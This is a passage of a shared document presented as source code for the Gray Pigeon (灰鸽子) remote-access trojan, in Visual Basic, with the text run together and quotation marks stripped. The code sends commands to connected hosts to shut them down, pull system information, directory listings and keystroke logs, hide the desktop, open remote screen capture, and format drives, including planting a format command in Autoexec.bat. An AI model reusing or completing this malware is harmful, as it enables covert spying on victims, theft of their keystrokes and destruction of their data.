《灰鸽子》服务端源代码.docx

1、灰鸽子服务端源代码Private Type NOTIFYICONDATA cbSize As Long hwnd As Long uId As Long uFlags As Long ucallbackMessage As Long hIcon As Long szTip As String * 64 指向后显示文本长度End TypePrivate Const NIM_ADD = &H0Private Const NIM_MODIFY = &H1Private Const NIM_DELETE = &H2Private Const WM_MOUSEMOVE = &H200Private Co

2、nst NIF_MESSAGE = &H1Private Const NIF_ICON = &H2Private Const NIF_TIP = &H4Private Const WM_LBUTTONDBLCLK = &H203Private Const WM_LBUTTONDOWN = &H201Private Const wm_lbuttonup = &H202Private Const WM_RBUTTONDBLCLK = &H206Private Const WM_RBUTTONDOWN = &H204Private Const WM_RBUTTONUP = &H205Private

3、Declare Function Shell_NotifyIcon Lib shell32 Alias Shell_NotifyIconA (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As BooleanDim T As NOTIFYICONDATAPublic Strtimer As StringDim Buto As StringDim Scmnumber As IntegerDim Scmlb1 As LongDim lcon As BooleanDim Buuse As BooleanPrivate Sub Abscm_Click

4、()Frmabout.ShowEnd SubPrivate Sub Box1_Change() With Box1 .SetFocus 选 .SelStart = 0 .SelLength = Len(.Text) End With End SubPrivate Sub Box2_KeyPress(keyascii As Integer)On Error GoTo scIf keyascii = 13 ThenIf Buto Use Button Then GoTo TobutoIf Box2.Text = ThenMsgBox 发送内容不能空！, 64, 提示 Box2.Text = Box

5、2.SetFocus SendKeys backspaceElse Call Sendinfor(Msgwins & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box2.Text & vbCrLf & vbCrLf) Box1.Text = Box1.Text & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box2.Text & vbCrLf & vbCrLf Box2.Text = Box2.SetFocus SendKeys backspace Scm

6、txt1.Text = Scmtxt1.Text & vbCrLf & 信息发送成功！ & ( & Time$ & ) & vbCrLfEnd Ifa1 = 2If a1 = 2 ThenElsesc: MsgBox ( & Scmnet1(0).LocalHostName & ) & 该用户可能已经下了线！, 64, 提示 Command1.Enabled = False Box2.Text = Box2.SetFocus SendKeys backspace End IfEnd IfTobuto:End SubPrivate Sub Box5_Change() With Box5 .Set

7、Focus 选 .SelStart = 0 .SelLength = Len(.Text) End WithEnd SubPrivate Sub Box6_KeyPress(keyascii As Integer)On Error GoTo scIf keyascii = 13 ThenIf Buto Use Button Then GoTo TobutoIf Box6.Text = ThenMsgBox 发送内容不能空！, 64, 提示 Box6.Text = Box6.SetFocus SendKeys backspaceElse For i = 1 To UBound(Sac) If N

8、ot i = index Then If Sac(i) Then Scmnet1(i).SendData Messgif & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box6.Text & vbCrLf & vbCrLf DoEvents End If End If Next i Box5.Text = Box5.Text & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box6.Text & vbCrLf & vbCrLf Box6.Text = Box

9、6.SetFocus SendKeys backspace Scmtxt1.Text = Scmtxt1.Text & vbCrLf & 聊天室信息发送成功！ & ( & Time$ & ) & vbCrLfEnd Ifa1 = 2If a1 = 2 ThenElsesc: MsgBox 没有用户在线！, 64, 提示 Box5.Text = Box5.Text & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box6.Text & vbCrLf & vbCrLf Box6.Text = Box6.SetFocus SendK

10、eys backspace Scmtxt1.Text = Scmtxt1.Text & vbCrLf & 聊天室信息发送成功！ & ( & Time$ & ) & vbCrLf End IfEnd IfTobuto:End SubPrivate Sub Clcu_Click()On Error Resume NextIf Scmlb1 0 ThenIf MsgBox(你确定要关闭所有上线用户的计算机吗！, vbYesNo, 提示) = vbYes ThenFor i = 1 To UBound(Sac) If Not i = index Then If Sac(i) Then Scmnet1(

11、i).SendData CLOSECU DoEvents End If End If Next i End If Else MsgBox 还没有主机上线！, 64, 提示 End IfEnd SubPrivate Sub Closecon_Click() On Error Resume NextIf Conhosn Then Conhosn = Scmsta1.Panels(3).Text = 主机名称: & 没找到 Scmsta1.Panels(2).Text = 连接状态: & 已关闭连接 Scmsta1.Panels(4).Text = 提示: & 已关闭连接End IfIf Scmne

12、t2.State = 7 Then Scmnet2.SendData ClosecoEnd IfEnd SubPrivate Sub Combo2_Click()Dos1.Text = Combo2.TextEnd SubPrivate Sub Command10_Click()Call Sendinfor(Getsysf)End SubPrivate Sub Command11_Click()Call Sendinfor(Getdirs)End SubPrivate Sub Command12_Click()On Error GoTo Dlgerr Dlg1.filename = 获取主机信

13、息记录 Dlg1.Filter = (*.txt)|*.txt| Dlg1.ShowSave Open Dlg1.filename For Output As #1 Print #1, Box4.Text Close #1 MsgBox 已成功保存到: + Dlg1.filename, 64, 提示Exit SubDlgerr:End SubPrivate Sub Command13_Click()Call Sendinfor(Keybinf)End SubPrivate Sub Command14_Click()Box3.Text = End SubPrivate Sub Command15

14、_Click()On Error GoTo Dlgerr Dlg1.filename = 键盘操作信息记录 Dlg1.Filter = (*.txt)|*.txt| Dlg1.ShowSave Open Dlg1.filename For Output As #1 Print #1, Box3.Text Close #1 MsgBox 已成功保存到: & Dlg1.filename, 64, 提示Exit SubDlgerr:End SubPrivate Sub Command16_Click()Call Sendinfor(Msgbox1 & Text1.Text)End SubPrivat

15、e Sub Command17_Click()Call Combo_mEnd SubPrivate Sub Command18_Click()On Error GoTo scIf Box2.Text = ThenMsgBox 发送内容不能空！, 64, 提示Else Call Sendinfor(Msgwins & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box2.Text & vbCrLf & vbCrLf) Box1.Text = Box1.Text & ( & Time$ & ) & Scmnet1(0).Local

16、HostName & : & vbCrLf & Box2.Text & vbCrLf & vbCrLf Box2.Text = Scmtxt1.Text = Scmtxt1.Text & vbCrLf & 信息发送成功！ & ( & Time$ & ) & vbCrLfEnd Ifsc:End SubPrivate Sub Command19_Click()Box1.Text = Scmtxt1.Text = Scmtxt1.Text + vbCrLf + 清空内容成功！ + ( + Time$ + ) + vbCrLfEnd SubPrivate Sub Command2_Click()On

17、 Error Resume NextList1.ClearFor i = 1 To UBound(Sac) If Not i = index Then If Sac(i) Then Scmnet1(i).Close DoEvents End If End If Next i End SubPrivate Sub Command20_Click()On Error GoTo Dlgerr Dlg1.filename = 聊天信息记录 Dlg1.Filter = (*.txt)|*.txt| Dlg1.ShowSave Open Dlg1.filename For Output As #1 Pri

18、nt #1, Box1.Text Close #1 MsgBox 已成功保存到: & Dlg1.filename, 64, 提示Exit SubDlgerr:End SubPrivate Sub Command21_Click()On Error GoTo scIf Box6.Text = ThenMsgBox 发送内容不能空！, 64, 提示Else For i = 1 To UBound(Sac) If Not i = index Then If Sac(i) Then Scmnet1(i).SendData Messgim & ( & Time$ & ) & Scmnet1(0).Loc

19、alHostName & : & vbCrLf & Box6.Text & vbCrLf & vbCrLf DoEvents End If End If Next i Box5.Text = Box5.Text & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box6.Text & vbCrLf & vbCrLf Box6.Text = Scmtxt1.Text = Scmtxt1.Text & vbCrLf & 聊天室信息发送成功！ & ( & Time$ & ) & vbCrLfEnd Ifa1 = 2If a1 = 2

20、ThenElsesc: MsgBox 没有用户在线！, 64, 提示 Box5.Text = Box5.Text & ( & Time$ & ) & Scmnet1(0).LocalHostName & : & vbCrLf & Box6.Text & vbCrLf & vbCrLf Box6.Text = End IfEnd SubPrivate Sub Command22_Click()Box5.Text = Scmtxt1.Text = Scmtxt1.Text + vbCrLf + 清空内容成功！ + ( + Time$ + ) + vbCrLfEnd SubPrivate Sub C

21、ommand23_Click()On Error GoTo Dlgerr Dlg1.filename = 聊天室信息记录 Dlg1.Filter = (*.txt)|*.txt| Dlg1.ShowSave Open Dlg1.filename For Output As #1 Print #1, Box5.Text Close #1 MsgBox 已成功保存到: & Dlg1.filename, 64, 提示Exit SubDlgerr:End SubPrivate Sub Command26_Click()Call Sendinfor(Sabeep1 & Text18.Text)End S

22、ubPrivate Sub Command27_Click()Dim Ft1 As LongDim a1 As Long, b1 As LongOn Error GoTo BeeperrFt1 = Text18.Text Do While Ft1 0 a1 = CLng(Text19.Text) 频率 b1 = CLng(Text20.Text) 长度 APIBeep a1, b1 Ft1 = Ft1 - 1 Sleep 200 Loop Exit Sub Beeperr:End SubPrivate Sub Command28_Click()Call Sendinfor(Showtas)En

23、d SubPrivate Sub Command29_Click()Call Sendinfor(Hidestc)End SubPrivate Sub Command3_Click()Call Sendinfor(Hidedes)End SubPrivate Sub Command30_Click()Call Sendinfor(Showstc)End SubPrivate Sub Command31_Click()Call Sendinfor(Wallpap & F:星子行开发工程星子行(开发)客户端1.JPG)End SubPrivate Sub Command32_Click()Call

24、 Sendinfor(Delwall)End SubPrivate Sub Command33_Click()If Option4.Value = False And Option5.Value = False And Option6.Value = False Then Rscreen.Color1 = 1 ElseIf Option4.Value = True Then Rscreen.Color1 = 0 ElseIf Option5.Value = True Then Rscreen.Color1 = 1 ElseIf Option6.Value = True Then Rscreen

25、.Color1 = 2 Else End IfWith Rscreen.Scmnet5.Close.LocalPort = 8000.ListenEnd WithCall Sendinfor(Portfo2)End SubPrivate Sub Command34_Click() Rscreen.udp6 = 8823 Rscreen.udp7 = 8824Rscreen.Scmnet6.CloseRscreen.Scmnet7.CloseCall Sendinfor(Udpport & Rscreen.udp6)End SubPrivate Sub Command4_Click()Call

26、Sendinfor(Showdes)End SubPrivate Sub Command40_Click()If Conhosn ThenIf MsgBox(请注意！此操作存在违法行为,可能带来严重损失和后果！ + vbCrLf + 造成一切后果和损失请自行负责,与本公司一切联系无关！ + vbCrLf + 请慎重考虑再使用！ + vbCrLf + 是否进行格式化？ + vbCrLf + 格式化请按“是” + vbCrLf + 不格式化请按“否”, vbYesNo, 警告) = vbYes Then 格式化If Combo3.Text 磁盘 Then If Option7.Value = Tr

27、ue Then Call Sendinfor(Formatc & Combo3.Text) ElseIf Option8.Value = True Then Call Sendinfor(Formatd & Combo3.Text) Else MsgBox 请确定格式化的方式！, 64, 提示 End IfElseMsgBox 请选择一个磁盘！, 64, 提示End IfElse 格式化End If 格式化ElseMsgBox 还没连接主机！, 64, 提示End IfEnd SubPrivate Sub Command41_Click()If Conhosn ThenIf Option7.V

28、alue = True Then Call Sendinfor(Wriautf) Scmtxt1.Text = Scmtxt1.Text + vbCrLf + 已发送快速格式化命令种子:Autoexec.bat + ( + Time$ + ) + vbCrLf ElseIf Option8.Value = True Then Call Sendinfor(Wriautg) Scmtxt1.Text = Scmtxt1.Text + vbCrLf + 已发送完全格式化命令种子:Autoexec.bat + ( + Time$ + ) + vbCrLf Else MsgBox 请确定种下格式化的方式！, 64, 提示 End If ElseMsgBox 还没连接主机！, 64, 提示End IfEnd Sub